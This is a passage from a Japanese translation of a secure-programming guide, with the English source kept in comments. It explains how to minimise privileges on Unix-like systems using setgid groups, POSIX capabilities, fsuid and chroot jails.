chroot(2)も利用でき、プログラムから見えるファイルを最小限にできます。
Linux や Unix には、他にも特権を決める値がいくつかあります。たとえば、
POSIX ケイパビリティ(Linux 2.2 以上でサポートされ、他の Unix ライクな
システムでもサポートしているものがあります)がそれに当たります。
</para>

<sect2 id="mimimize-privileges-granted">
<!-- <title>Minimize the Privileges Granted</title> -->
<title>許可される特権を最小限に</title>

<para>
<!--
Perhaps the most effective technique is to simply minimize
the highest privilege granted.
In particular, avoid granting a program root privilege if possible.
Don't make a program <emphasis remap="it">setuid root</emphasis> if it only needs access
to a small set of files;
consider creating separate user or group accounts for different function.
-->
もちろん最も効果的なやり方は、許可される最高の特権を素直に最小限にする方法
です。
特に、できるだけ root の特権を許可するのは避けてください。
ほんのわずかなファイル群にアクセスする必要があるだけで、プログラムに
<emphasis remap="it">setuid root</emphasis> をかけないでください。
機能毎に独立したユーザやグループアカウントの作成を検討してください。
</para>

<para>
<!--
A common technique is to
create a special group, change a file's group ownership to that group,
and then make the program <emphasis remap="it">setgid</emphasis> to that group.
It's better to make a program <emphasis remap="it">setgid</emphasis> instead of <emphasis remap="it">setuid</emphasis>
where you can,
since group membership grants fewer rights (in particular, it does not
grant the right to change file permissions).
-->
よく行う方法は、特別なグループを作成し、ファイルのグループのオーナーを
そのグループに変更する方法があります。そしてプログラムをそのグループに 
<emphasis remap="it">setgid</emphasis> します。
できるなら <emphasis remap="it">setuid</emphasis> するよりも 
<emphasis remap="it">setgid</emphasis> した方が賢明です。
そうしておいて、グループのメンバーにはほとんど権限を認めないようにします
(特にファイルのパーミッションを変更する権限を認めない)。
</para>

<para>
<!--
This is commonly done for game high scores.
Games are usually setgid <emphasis remap="it">games</emphasis>,
the score files are owned by the group <emphasis remap="it">games</emphasis>,
and the programs themselves and their configuration files
are owned by someone else (say root).
Thus, breaking into a game allows the perpetrator to change high scores but
doesn't grant the privilege to change the game's executable or
configuration file.
The latter is important; if an attacker could change a game's executable
or its configuration files (which might control what the executable runs),
then they might be able to gain control of a user who ran the game.
-->
これは、ゲームソフトのハイスコアを記録する場合によく使われている方法です。
ゲームは普通 <emphasis remap="it">games</emphasis> に setgid して、スコア
ファイルは <emphasis remap="it">games</emphasis> グループが所有しています。
そしてプログラム自体や設定ファイルは、別のユーザ(root 等)が所有している
のが普通です。
こうしておけば、ゲームを通じて侵入者が入ってきても、ハイスコアをいじること
はできたとしても、ゲームの実行形式や設定ファイルには手を付けられません。
後者は重大です。攻撃者がゲームの実行形式や設定ファイル(どの実行形式を動かす
かを制御している)を変更できたなら、ゲームを動かしているユーザをコントロール
できるかもしれないからです。
</para>

<para>
<!--
If creating a new group isn't sufficient, consider creating a
new pseudouser (really, a special role) to manage a set of resources.
Web servers typically do this; often web servers are set up with a special
user (``nobody'') so that they can be isolated from other users.
Indeed, web servers are instructive here: web servers typically need
root privileges to start up (so they can attach to port 80), but once
started they usually shed all their privileges and
run as the user ``nobody''.
Again, usually the pseudouser doesn't own the primary program it runs,
so breaking into the account doesn't allow for changing the program itself.
As a result, breaking into a running web server normally does not
automatically break the whole system's security.
-->
新しいグループを作るだけでは不十分な場合は、新しい仮のユーザ(実際に特別な
役割を持つ)を作成し、関連するリソースを管理してください。
これの典型的な例は Web サーバです。Web サーバは特別なユーザ(「nobody」)で
設定してあるので、他のユーザから独立していられます。
実際、Web サーバからは教えられることが多くあります。Web サーバは普通は起動時
に root の特権を必要としますが(80 番ポートを利用するからです)、起動してしまう
とすべての特権を外して、「nobody」というユーザで動きます。
繰り返しますが、通常仮のユーザは最初に動かすプログラムを所有していないので、
アカウントに潜り込んでも、プログラム自体を変更できません。
結果的には、動作している Web サーバに侵入しても、それだけでシステムすべての
セキュリティは侵せません。
</para>

<para>
<!--
If you're using a database system (say, by calling its query interface),
limit the rights of the database user that the application uses.
For example, don't give that user access to all of the system stored procedures
if that user only needs access to a handful of user-defined ones.
Do everything you can inside stored procedures.
That way, even if someone does manage to force arbitrary strings into the
query, the damage that can be done is limited.
If you must directly a regular SQL query with client supplied data,
wrap it in something that limits its activities
(e.g., sp_sqlexec).
(My thanks to SPI Labs for these database system suggestions).
-->
データベースシステムを利用しているなら(つまり、そのクエリ・インタフェース
を呼び出している)、そのアプリケーションを利用しているデータベース・ユーザの
権限に、制限をかけてください。
たとえば、ユーザが定義したほんのいくつかのクエリを使ったアクセスだけが必要な
ユーザに対して、システムのストアド・プロシジャすべてにアクセスを許すような
ことはしないでください。
実行できるのは、ストアド・プロシジャだけです。
そうしておけば、たとえ誰かが任意の文字列をクエリに無理やり入れ込んだとしても、
ダメージは限られた範囲で収まります。
直接標準的な SQL クエリをクライアントのデータとして提供しなければならないなら、
その動作を制限するようにラッパをかけてください(たとえば、sp_sqlexec のような)。
(データベースについてのアドバイスをしてくれた、SPI Labs に感謝します)。

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf -->
</para>

<para>
<!--
If you <emphasis remap="it">must</emphasis> give a program privileges
usually reserved for root,
consider using POSIX capabilities as soon as your program can
minimize the privileges available to your program.
POSIX capabilities are available in Linux 2.2 and in many other
Unix-like systems.
By calling cap&lowbar;set&lowbar;proc(3) or the Linux-specific capsetp(3) 
routines immediately after starting, you can permanently
reduce the abilities of your program to just those abilities it actually needs.
For example the network time daemon (ntpd) traditionally has run as root,
because it needs to modify the current time.
However, patches have been developed so ntpd only needs a single
capability, CAP_SYS_TIME, so even if an attacker gains control over
ntpd it's somewhat more difficult to exploit the program.
-->
プログラムに root が確保している特権を持たせ<emphasis remap="it">
なければならない</emphasis>なら、POSIX ケイパビリティの利用を早急に検討
してください。そして、プログラムが利用できる特権を最小限に押えるようにして
ください。
POSIX ケイパビリティは、Linux 2.2 や他の Unix ライクなシステムの多くで利用
できます。
起動後すぐに cap&lowbar;set&lowbar;proc(3)や Linux 固有の capsetp(3)ルーチン
を呼び出せば、その後はずっとそのプログラムの機能を下げたままにして、本当に
プログラムが必要としている機能に押えられます。
たとえば、ネットワーク時刻デーモン(ntpd)は、以前から root で実行してきました。
それは、現在の時刻をあわせるためです。
しかし、ntpd が CAP_SYS_TIME という 1 つのケイパビリティだけで動くパッチが
開発されました。パッチを当てれば、攻撃者が ntpd を乗っ取っても、そのプログラム
につけ込むのが以前よりやや難しくなりました。
</para>

<para>
<!--
I say ``somewhat limited'' because, unless other steps are taken,
retaining a privilege using POSIX capabilities
requires that the process continue to have the root user id.
Because many important files (configuration files, binaries, and so on)
are owned by root, an attacker controlling a program
with such limited capabilities can still modify
key system files and gain full root-level privilege.
A Linux kernel extension (available in versions 2.4.X and 2.2.19+)
-->
「ある程度制限をかけて」と言っているのには、理由があります。それは他に手段
を用いずに POSIX ケイパビリティを使って特権を維持すると、 プロセスが root 
ユーザの id を使い続けるからです。
重要なファイル(設定ファイルやバイナリ等)は root が所有しているケースが多い
ので、攻撃者はケイパビリティで制限がかかっていても、依然としてプログラムを
コントロールできます。つまり、システムの鍵となるファイルを修正でき、root 
レベルの特権をすべて取得できてしまいます。
Linux カーネルの拡張(2.4.X と 2.2.19+ のバージョンで利用できます)は、
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- It's available from 2.3.99-pre3 on, but now that 2.4's released the
     exact development version is only of academic interest.
     Chris Evans thought it might also be available in 2.2.18, but wasn't
     sure, so I thought I'd be safe and specify 2.2.19. -->
<!--
provides a better way to limit the available privileges:
a program can start as root (with all POSIX capabilities),
prune its capabilities down to just what it needs, call
prctl(PR_SET_KEEPCAPS,1), and then use setuid() to change to a
non-root process.
The PR_SET_KEEPCAPS setting marks a process so that when a process does
a setuid to a nonzero value, the capabilities aren't cleared
(normally they are cleared).
This process setting is cleared on exec().
However, note that PR_SET_KEEPCAPS is a Linux-unique extension for newer
versions of the linux kernel.
-->
利用可能な特権に制限をかけるのに、もっと優れた方法を提供しています。
プログラムを rootで起動し(POSIX ケイパビリティを使って)、本当に必要な
ケイパビリティにまで絞りこんで、prctl(PR_SET_KEEPCAPS,1)を呼び出します。
そして、setuid() を使って root 以外のプロセスに変更します。
PR_SET_KEEPCAPS はプロセスにマークをつけ、プロセスが setuid を 0 以外
の値にした時に、ケイパビリティはクリアされません(通常はクリアされます)。
このプロセスの設定は、exec() するとクリアされます。
しかし、PR_SET_KEEPCAPS は Linux 特有の拡張機能で、最近のバージョンの Linux 
カーネルで採用されている点に注意してください。
</para>

<para>
<!--
One Linux-unique tool you can use to simplify minimizing granted privileges
is the ``compartment'' tool developed by SuSE.
This tool sets the filesystem root, uid, gid, and/or the
capability set, then runs the given program.
This is particularly handy for running some other program without
modifying it.
Here's the syntax of version 0.5:
-->
Linux 特有のツールの 1 つに SuSE が開発した「コンパートメント」があります。
これを使えば、許可する特権を簡単に最小限にできます。
このツールは、ファイルシステムのルートや uid、gid、もしくはケイパビリティ
を設定してからプログラムを動かします。
他のプログラムを修正することなしに、実に手軽に実行できます。
下記がバージョン 0.5 の書き方です。

<screen width="61">

Syntax: compartment [options] /full/path/to/program

Options:
  --chroot path   chroot to path
  --user user     change UID to this user
  --group group   change GID to this group
  --init program  execute this program before doing anything
  --cap capset    set capset name. You can specify several
  --verbose       be verbose
  --quiet         do no logging (to syslog)
</screen>

</para>

<para>
<!-- Thus, you could start a more secure anonymous ftp server using: -->
つまり下記のようにすれば、より安全な anonymous ftp サーバが運用できます。

<screen width="61">
  compartment --chroot /home/ftp --cap CAP_NET_BIND_SERVICE anon-ftpd
</screen>

</para>

<para>
<!--
At the time of this writing, the tool is immature and not available on
typical Linux distributions, but this may quickly change.
You can download the program via
<ulink
url="http://www.suse.de/~marc">http://www.suse.de/~marc</ulink>.
-->
このドキュメントを書いている時点では、まだ未完成で、代表的な Linux 
ディストリビューションでは利用できません。しかし状況はすぐに変わるでしょう。
このプログラムは、
<ulink
url="http://www.suse.de/~marc">http://www.suse.de/~marc</ulink> から
からダウンロードできます。
</para>

<para>
<!--
Note that <emphasis remap="it">not</emphasis> all Unix-like systems,
implement POSIX capabilities, and PR_SET_KEEPCAPS is currently
a Linux-only extension.
Thus, these approaches limit portability.
However, if you use it merely as an optional safeguard only
where it's available, using this
approach will not really limit portability.
-->
すべての Unix ライクなシステムが POSIX ケイパビリティを実装しているわけでは
<emphasis remap="it">ない</emphasis>点と PR_SET_KEEPCAPS は現状では Linux 
独自の拡張である点に注意してください。
つまり、この解決方法は移植性がありません。
しかし、利用できる環境下でオプションの安全策の単なる 1 つとして利用するなら、
この方法を採用することによって、実際には移植性は損なわれません。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://faqchest.dynhost.com/linux/KERNEL/kern-00/kern-0004/kern-000433/kern00041117_25233.html -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://www.linuxsecurity.com/feature_stories/kernel-24-security.html -->
<!--
Also, while the Linux kernel version 2.2 and greater includes the low-level
calls, the C-level libraries to make their use easy are not installed
on some Linux distributions, slightly complicating their use in applications.
For more information on Linux's implementation of POSIX capabilities, see
<ulink
url="http://linux.kernel.org/pub/linux/libs/security/linux-privs">http://linux.kernel.org/pub/linux/libs/security/linux-privs</ulink>.
-->
また、Linux カーネルが 2.2 より新しいバージョンなら、低レベルのシステムコール
は用意してあります。しかし、利用しやすい C レベルのライブラリをインストール
していないディストリビューションもありますので、アプリケーションで使うには
ちょっと面倒です。
Linux の POSIX ケイパビリティについてさらに詳しい情報は、
<ulink
url="http://linux.kernel.org/pub/linux/libs/security/linux-privs">http://linux.kernel.org/pub/linux/libs/security/linux-privs</ulink> 
を見てください。
</para>

<para>
<!--
FreeBSD has the jail() function for limiting privileges;
see the
<ulink url="http://docs.freebsd.org/44doc/papers/jail/jail.html">jail
documentation</ulink>
for more information.
There are a number of specialized tools and extensions for limiting
privileges; see <xref linkend="unix-extensions">.
-->
FreeBSD には jail()という関数があり、これで特権を制限しています。
詳しい情報は、
<ulink url="http://docs.freebsd.org/44doc/papers/jail/jail.html">jail
documentation</ulink>
を見てください。
特権を制限するのに、特別なツールや機能拡張がたくさんあります。
<xref linkend="unix-extensions">を見てください。
</para>

</sect2>

<sect2 id="minimize-time-privilege-usable">
<!-- <title>Minimize the Time the Privilege Can Be Used</title> -->
<title>特権を使っている時間を最小限に</title>

<para>
<!--
As soon as possible, permanently give up privileges.
Some Unix-like systems, including Linux,
implement ``saved'' IDs which store the ``previous'' value.
The simplest approach is to reset
any supplemental groups if appropriate (e.g., using setgroups(2)),
In setuid/setgid programs, you should usually set the effective gid and uid
to the real ones, in particular right after a fork(2),
unless there's a good reason not to.
Note that you have to change the gid first when dropping from root to another
privilege or it won't work - once you drop root privileges, you won't
be able to change much else.
Note that in some systems, just setting the group isn't enough, if the
process belongs to supplemental groups with privileges.
-->
早急に特権を永久に捨て去ってください。
Linux を含む Unix ライクなシステムの中には、「保存」id を実装して、「以前の」
値を記録しているものがあります。
最も単純な解決方法は、補助グループがどれも適切なら、そのグループを再設定
することです(たとえば、setgroups(2)を使って)。
setuid や setgid したプログラムは、特別な理由がない限り、普通は実効 gid と 
uid に実 id を設定してください。特に fork(2)した後には必ず。
root から他の特権に落とす場合は、まず gid を変更しなければいけないことを
忘れないでください。そうしないと動かなくなります。一度 root の特権を落として
しまうと、それ以上変更のしようがなくなります。
あるシステムでは、プロセスが特権を持った補助グループに属していると、
グループの変更だけでは十分ではないケースがあるのも忘れないでください。
</para>

<para>
<!--
It's worth noting that there's a well-known related bug that
uses POSIX capabilities to interfere with this minimization.
This bug affects Linux kernel 2.2.0 through 2.2.15, and possibly a number
of other Unix-like systems with POSIX capabilities.
See Bugtraq id 1322 on http://www.securityfocus.com for more information.
Here is their summary:
-->
既知のバグで気をつけなければいけないものに、POSIX ケイパビリティを利用して、
権限の最小化を妨げるものがあります。
このバグは、Linux カーネルの 2.2.0 から 2.2.15 に影響があり、POSIX 
ケイパビリティを持っている他の Unix ライクなシステムの多くにもおそらく影響が
あると思います。
http://www.securityfocus.com にある Bugtraq の id 1322 にさらに詳しい情報
があります。
要約を挙げておきます。
<blockquote><para>
<!--
POSIX "Capabilities" have recently been implemented in the Linux kernel.
These "Capabilities" are an additional form of privilege control to enable
more specific control over what privileged processes can do. Capabilities are
implemented as three (fairly large) bitfields, which each bit representing a
specific action a privileged process can perform. By setting specific bits, the
actions of privileged processes can be controlled &R45;&R45; access can be granted for
various functions only to the specific parts of a program that require them.
It is a security measure. The problem is that capabilities are copied with
fork() execs, meaning that if capabilities are modified by a parent process,
they can be carried over. The way that this can be exploited is by setting all
of the capabilities to zero (meaning, all of the bits are off) in each of the
three bitfields and then executing a setuid program that attempts to drop
privileges before executing code that could be dangerous if run as root, such
as what sendmail does. When sendmail attempts to drop privileges using
setuid(getuid()), it fails not having the capabilities required to do so in its
bitfields and with no checks on its return value . It continues executing with
superuser privileges, and can run a users .forward file as root leading to a
complete compromise.
-->
POSIX 「ケイパビリティ」は最近になって Linux カーネルに実装されました。
これらの「ケイパビリティ」は特権を制御する方法として加わったものの 1 つで、
特権を持つプロセスの実行に対して、きめ細かな制御をかけることができます。
ケイパビリティは 3 つ(かなり大きな)ビットフィールドとして実装して
あり、ビットフィールドのそれぞれのビットが、特権を持つプロセスが実行できる
機能を表わしています。特定のビットを設定することで、特権を持ったプロセスの
動作を制御できます。必要となるプログラムの特定の一部に限定して、さまざまな
機能を利用するアクセスを許可できます。
これはセキュリティの指標となります。問題は、ケイパビリティは fork()を実行
するとコピーされる点にあります。つまり親プロセスがケイパビリティをいじると、
子が継承してしまいます。これに付け入るには、3 つのビットフィールドそれぞれで、
ケイパビリティすべてにゼロ(すべてのビットをオフにすることを意味します)を設定
する方法があります。そうしておいてから、コードを実行する前に特権を落とそうと
する setuid したプログラムを root で実行します。これは危険です。sendmail が
していることがまさにこれです。sendmail は setuid(getuid())を使って特権を
落とそうとしますが、そうするのに必要なケイパビリティのビットフィールドの設定
とその返り値のチェックをしなければ、その試みは失敗に終わります。そのまま
スーパーユーザの特権を持ったまま実行し続け、あるユーザの .forward ファイルを 
root として動かすことが可能になり、非常に危ない状況に陥ります。
</para></blockquote>
<!--
One approach, used by sendmail, is to attempt to do
setuid(0) after a setuid(getuid()); normally this should fail.
If it succeeds, the program should stop.
For more information, see
http://sendmail.net/?feed=000607linuxbug.
In the short term this might be a good idea in
other programs, though clearly the better
long-term approach is to upgrade the underlying system.
-->
sendmail が使っている解決方法の一つに setuid(getuid())した後には setuid(0) 
を試みる、というものもあります。通常これは失敗するはずです。
成功したとしても、プログラムは停止してしまうでしょう。
さらに詳しい情報は、http://sendmail.net/?feed=000607linuxbug を見てください。
他のプログラムであれば、短期的には良いアイディアだと思いますが、長期的に
みれば、信頼あるシステムへのアップグレードが好ましいのに違いありません。
</para>

</sect2>

<sect2 id="minimize-time-privilege-active">
<!-- <title>Minimize the Time the Privilege is Active</title> -->
<title>特権が有効な時間を最小限にする</title>

<para>
<!--
Use setuid(2), seteuid(2), setgroups(2),
and related functions to ensure that the program
only has these privileges active when necessary,
and then temporarily deactivate the privilege when it's not in use.
As noted above, you might want ensure that these privileges are disabled
while parsing user input, but more generally, only turn on privileges when
they're actually needed.
-->
setuid(2)や seteuid(2)、setgroups(2)やそれと関連した機能を使用する場合は、
プログラムがその特権を必要とする時だけに有効としているかを確認してください。
そして利用していない時には、一時的に特権を無効にしてください。
上記でも書いたように、ユーザの入力を解析している間に、これらの特権が無効に
なっているかを確かめてもかまいません。もっと平たく言えば、本当に必要な時に
だけ特権を有効にしてください。
</para>

<para>
<!--
Note that some buffer overflow attacks, if successful, can force a program
to run arbitrary code, and that code could re-enable privileges that were
temporarily dropped.
Thus, there are <emphasis>many</emphasis>
attacks that temporarily deactivating a privilege won't counter -
it's always much better to completely drop privileges as soon as possible.
Some people even claim that ``seteuid() [is] considered harmful'' because
of the many attacks it doesn't counter.
Still, temporarily deactivating these permissions
prevents a whole class of attacks,
such as techniques to convince a program to write into a file that
perhaps it didn't intend to write into.
Since this technique prevents many attacks,
it's worth doing if permanently dropping the privilege can't be done
at that point in the program.
-->
バッファオーバーフロー攻撃には、攻撃が成功するとプログラムに任意のコードを
実行させてしまうものがあります。そしてそのコードは、一時的に落としていた
特権を再び有効にできてしまいます。
つまり一時的に特権を無効にしたとしても、対応できない攻撃が<emphasis>たくさん
</emphasis>あるということです。常に安全なのは、速やかに特権を完全に落として
しまう方法です。
対処できない攻撃が多いという理由で、「seteuid()は有害と見なす」とまで言う
人もいます。
そうであっても、一時的にパーミッションを無効化することで、すべての種類の攻撃
を阻みます。
このテクニックは攻撃を防ぐケースが多いので、プログラムの該当する部分でずっと
特権を落とせないならば、やってみる価値はあります。
</para>

</sect2>

<sect2 id="minimize-privileged-modules">
<!--
<title>Minimize the Modules Granted the Privilege</title>
-->
<title>特権を認めるモジュールを最小限にする</title>

<para>
<!--
If only a few modules are granted the privilege, then it's much
easier to determine if they're secure.
One way to do so is to have a single module use the
privilege and then drop it, so that other modules called later cannot misuse
the privilege.
Another approach is to have separate commands in separate
executables; one command might be a complex
tool that can do a vast number of tasks for a privileged user (e.g., root),
while the other tool is setuid but is a small, simple tool that
only permits a small command subset.
The small, simple tool checks to see if the input meets various criteria for
acceptability, and then if it determines the input is acceptable, it
passes the data on to the complex tool.
Note that the small, simple tool must do a thorough job checking its inputs
and limiting what it will pass along to the complex tool, or this can
be a vulnerability.
These approaches can even be layered several ways, for example,
a complex user tool could call a simple setuid
``wrapping'' program (that checks its inputs for secure values)
that then passes on information to another complex trusted tool.
This approach is especially helpful for GUI-based systems; have the GUI portion
run as a normal user, and then pass security-relevant
requests on to another program
that has the special privileges for actual execution.
-->
わずかなモジュールにだけ特権を認めているなら、そのモジュールが安全かどうか
を判断するのはそれほど難しくありません。
1 つの方法として、特権を使うモジュールをただ 1 つにしてしまう方法があります。
そうして特権を落としておけば、他のモジュールが後から呼び出されても特権を
間違って使うようなことはありません。
もう 1 つの解決方法は、独立した実行形式で独立したコマンドにしてしまう方法
です。
もう一つの解決方法は、独立した実行形式のコマンドにしてしまう方法です。
コマンド 1 つが複雑なツールになっていて、特権ユーザ(たとえば root)がそれを
使っておびただしい作業をしているかもしれませんし、一方他のツールは setuid して
あるものの、小さく単純なツールで、ほんのわずかな一部のコマンドだけを許している
かもしれません。
小さく単純なツールは、入力をさまざまな受け入れ基準に合致しているかチェックし、
その入力を受け入れるのかどうかを判断します。その後、入力を正しいと判断すると、
複雑なツールにデータを渡します。
小さく単純なツールは、徹底的に入力をチェックし、複雑なツールに渡すデータを
制限しなければいけません。さもないとそれが脆弱さになってしまいます。
これらの解決方法は、いくつかの方法を積み重ねて実行できます。たとえば、複雑な
ユーザのツールが、たった 1 つの setuid した「ラッパー」プログラム(入力が安全
な値かどうかをチェックする)を呼び出し、そのラッパーが他の複雑な信頼できる
ツールに情報を渡せます。
この方法は、GUI ベースのシステムにとって特に有効です。GUI の一部を一般ユーザ
で動かし、セキュリティ関連の要求があった場合に特権を持ったプログラムへ実際の
実行をまかせます。
</para>

<para>
<!--
Some applications can be best developed by dividing the problem
into smaller, mutually untrusting programs.
A simple way is divide up the problem into separate programs that
do one thing (securely), using the filesystem and locking to
prevent problems between them.
If more complex interactions are needed, one approach is to
fork into multiple processes, each of which has different privilege.
Communications channels can be set up in a variety of ways; one
way is to have a "master" process create communication channels
(say unnamed pipes or unnamed sockets),
then fork into different processes and have each process
drop as many privileges as possible.
If you're doing this, be sure to watch for deadlocks.
Then use a simple protocol to allow the less trusted processes
to request actions from the more trusted process(es), and ensure that the more
trusted processes only support a limited set of requests.
Setting user and group permissions so that no one else can even start
up the sub-programs makes it harder to break into.
-->
アプリケーションには、問題をより小さく分割して、相互に信頼関係を持たない
プログラムとして開発するのが一番良い場合があります。
単純な方法として、問題を独立したプログラムに分散し、ファイルシステムの機能を
使ったり、プログラム間で問題が起こらないよう、外に見えないようにしたりして、
(安全に)1 つのことしか行わないようにする方法があります。
もっと複雑な相互関係が必要とされているなら、複数のプロセスに fork()するという
手もあります。分かれたプロセスがそれぞれに特権を持ちます。
情報の通信経路はいろいろと設定可能です。まず「マスター」となるプロセスが通信
経路(名前なしパイプや名前なしソケット)を作ってしまう方法があります。作った
後に別々のプロセスへ fork したなら、それぞれのプロセスでできるだけ特権を
落とします。
こうすると、デッドロックに注意する必要があります。
単純なプロトコルを使って、信頼性が低いプロセスが信頼性が高いプロセスに対して
要求を行えるようにします。そして、より信頼性の高いプロセスだけが、限定した
要求をサポートするようにします。
ユーザやグループのパーミッションを設定して、他の誰かがサブプログラムを起動
さえできないようにして、入り込むのを困難にします。
</para>

<para>
<!--
Some operating systems have the concept of multiple
layers of trust in a single process, e.g., Multics' rings.
Standard Unix and Linux don't have a way of separating multiple levels of trust
by function inside a single process
like this; a call to the kernel increases privileges,
but otherwise a given process has a single level of trust.
This is one area where technologies like Java 2, C# (which copies
Java's approach), and
Fluke (the basis of security-enhanced Linux) have an advantage.
For example,
Java 2 can specify fine-grained permissions such as the permission to
only open a specific file.
However, general-purpose operating systems do not typically
have such abilities at this time; this may change in the near future.
For more about Java, see <xref linkend="java">.
-->
オペレーティングシステムには、信頼性を複数の層にするコンセプトを持って
いるものがあります。たとえば、Multics のリング構造がこれに当たります。
標準的な Unix や Linux には単独のプロセス中で機能毎に複数のレベルで信頼性
を持つ手段を持ち合わせていません。下記のような感じになっています。
カーネルに呼び出しをかけるには特権を上げますが、そのプロセスはたった 1 つの
信頼性のレベルしか持っていません。
これが Java 2 や C#(Java のやり方のまね)、Fluke(セキュリティ強化版 Linux 
の基盤)の長所になっています。
たとえば、Java 2 はある特定のファイルだけをオープンするパーミッションと
いうような、きめの細かいパーミッションを指定できます。
しかし、汎用的なオペレーティングシステムでは、現状一般的にそういった機能を
備えていません。これは近い将来にかわるかもしれません。
Java についての詳しい話は <xref linkend="java"> を見てください。
</para>

</sect2>

<sect2 id="consider-fsuid">
<!-- <title>Consider Using FSUID To Limit Privileges</title> -->
<title>fsuid を使って、特権を制限することを検討する</title>

<para>
<!--
Each Linux process has two Linux-unique state values called
filesystem user id (FSUID) and filesystem group id (FSGID).
These values are used when checking against the filesystem permissions.
If you're building a program that operates as a file server for arbitrary
users (like an NFS server), you might consider using these Linux extensions.
To use them, while holding root privileges change
just FSUID and FSGID before accessing files on behalf of a normal user.
This extension is fairly useful, and provides a mechanism for limiting
filesystem access rights without removing other (possibly necessary) rights.
By only setting the FSUID (and not the EUID), a local user cannot send
a signal to the process.
Also, avoiding race conditions is much easier in this situation.
However, a disadvantage of this approach
is that these calls are not portable to other Unix-like systems.
-->
Linux のプロセスはそれぞれ固有の状態値を 2 つ持っています。ファイルシステムの
ユーザ id(fsuid)とフィルシステムのグループ id(fsgid)がそれです。
これらの値はファイルシステムのパーミッションに対してチェックをかける場合
に使用します。
不特定ユーザ用ファイルサーバ(たとえば NFS サーバ)を操作するようなプログラム
を作成するなら、この Linux の拡張機能の利用を検討してみてください。
これらを使うと root の特権を維持しながら、一般ユーザの代理でファイルアクセス
する前に fsuid と fsgid を変更します。
この拡張はかなり便利で、ファイルシステムのアクセス権を(おそらく必要な)他の
権限を削除ぜずに制限をかける仕組みを提供します。
fsuid(euid は設定せずに)を設定するだけで、ローカルユーザはそのプロセスに
シグナルを送れなくなります。
また、この状況下では競合状態を避けやすくなります。
しかし欠点として、これらの呼び出しが他の Unix ライクなシステムに対して移植性が
ないという点が挙げられます。
</para>

</sect2>

<sect2 id="consider-chroot">
<!-- <title>Consider Using Chroot to Minimize Available Files</title> -->
<title>利用できるファイルを最小限にするため chroot の利用を検討する</title>

<para>
<!--
You can use chroot(2) to limit the files visible to your program.
This requires carefully setting up a directory (called the ``chroot jail'')
and correctly entering it.
This can be a fairly effective technique for improving a program's
security - it's hard to interfere with files you can't see.
However, it depends on a whole bunch of assumptions, in particular,
the program must lack root privileges, it must not have any way to get
root privileges, and the chroot jail must be properly set up.
I recommend using chroot(2) where it makes sense to do so, but don't depend
on it alone; instead, make it part of a layered set of defenses.
Here are a few notes about the use of chroot(2):
-->
chroot(2) を使えばプログラムから見えるファイルを制限できます。
この機能を活かすには、ディレクトリ(「chroot jail(chroot の牢獄)」と呼ばれて
います)の設定を注意深く行い、設定した通りにそのディレクトリに入り込むように
する必要があります。
これはプログラムのセキュリティを向上するのに、かなり効果的な方法と言えます。
見えないファイルに干渉するのは困難だからです。
しかし、すべてをこの前提に頼ってはいけません。注意しなければいけないのは、
プログラムには root の特権を持たしてはいけないこと、root の特権をどんな方法
を使っても取得できないこと、そして chroot jail を確実に設定することです。
使って意味がある場所にchroot(2)することを推奨します。しかし、これだけに頼って
はいけません。そのかわりに、複数の層からなる防御手段の一部として位置づけて
ください。
chroot(2)の利用方法について、いくつか覚え書きを書いておきます。
<itemizedlist>
<listitem>

<para>
<!--
The program can still use non-filesystem objects that are shared
across the entire machine
(such as System V IPC objects and network sockets).
It's best to also
use separate pseudo-users and/or groups, because all Unix-like systems include
the ability to isolate users; this will at least limit the damage
a subverted program can do to other programs.
Note that current most Unix-like systems (including Linux)
won't isolate intentionally cooperating programs; if you're worried about
malicious programs cooperating, you need to get a system that implements
some sort of mandatory access control and/or limits covert channels.
-->
プログラムはマシン全体に渡って共有するオブジェクトとして、ファイルシステム
ではないもの(System V の IPC や ネットワーク越しのソケット)を依然として
利用しています。
一番良いのは、独立した仮のユーザやグループという機能を合わせて利用する方法
です。Unix ライクなシステムすべては、ユーザを分離する機能を持っているから
です。こうすれば、少なくともあるプログラムがやられてしまっても、他のプログラム
に対してダメージが少なくなります。
覚えておいてもらいたいのは、最近の Unix ライクなシステムの大部分(Linux を
含む)では、ある意図があって協調して動作しているプログラムは分離できません。
悪意あるプログラムが一緒に動作するのが心配なら、何らかの強制的なアクセス制御
もしくはチャネル切り替えの制限を実装しているシステムを手に入れてください。
</para>
</listitem>
<listitem>

<para>
<!--
Be sure to close any filesystem descriptors to outside files if you
don't want them used later.
In particular, don't have any descriptors open to directories outside
the chroot jail, or set up a situation where such a descriptor could be
given to it (e.g., via Unix sockets or an old implementation of /proc).
If the program is given a descriptor to a directory outside the chroot jail,
it could be used to escape out of the chroot jail.
-->
外部のファイルに対するファイルシステムのディスクリプタを、後になって利用した
くないなら、必ずクローズしてください。
特に、chroot jail の外にあるディレクトリのディスクリプタは何も持たないよう
にするか、そのようなディスクリプタが存在できないような状態にしてください
(たとえば、Unix ソケットもしくは古い形式の /proc を経由して)。
chroot jail の外にあるディレクトリに対するディスクリプタがプログラムに渡って
くるなら、プログラムを chroot jail の外に待避するのがよいでしょう。
</para>
</listitem>
<listitem>

<para>
<!--
The chroot jail has to be set up to be secure.
Don't use a normal user's home directory (or subdirectory) as a chroot jail;
use a separate location or ``home'' directory specially set aside
for the purpose.
-->
chroot jail は安全のために設定しなければいけません。
一般ユーザのホームディレクトリ(もしくはそのサブディレクトリに)を chroot jail 
と同じように利用してはいけません。
別の場所を使用するか、「ホーム」ディレクトリをこの目的のために特別に分けて
おいてください。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://msgs.securepoint.com/cgi-bin/get/bugtraq0004/64/1/1/2.html -->
<!--
Place the absolute minimum number of files there.
Typically you'll have a /bin, /etc/, /lib, and maybe one or two others
(e.g., /pub if it's an ftp server).
Place in /bin only what you need to run after doing the chroot(); sometimes
you need nothing at all (try to avoid placing a shell there, though sometimes
that can't be helped).
You may need a /etc/passwd and /etc/group so file listings can show
some correct names, but if so, try not to include the real system's
values, and certainly replace all passwords with "*".
-->
ここには必要最低限のファイルを置いてください。
普通は /bin や /etc/、/lib とおそらく他に 1、2 ディレクトリぐらいでしょう
(たとえば、ftp サーバなら /pub)。
/bin には chroot() した後に動かす必要があるものだけを置いてください(そこに
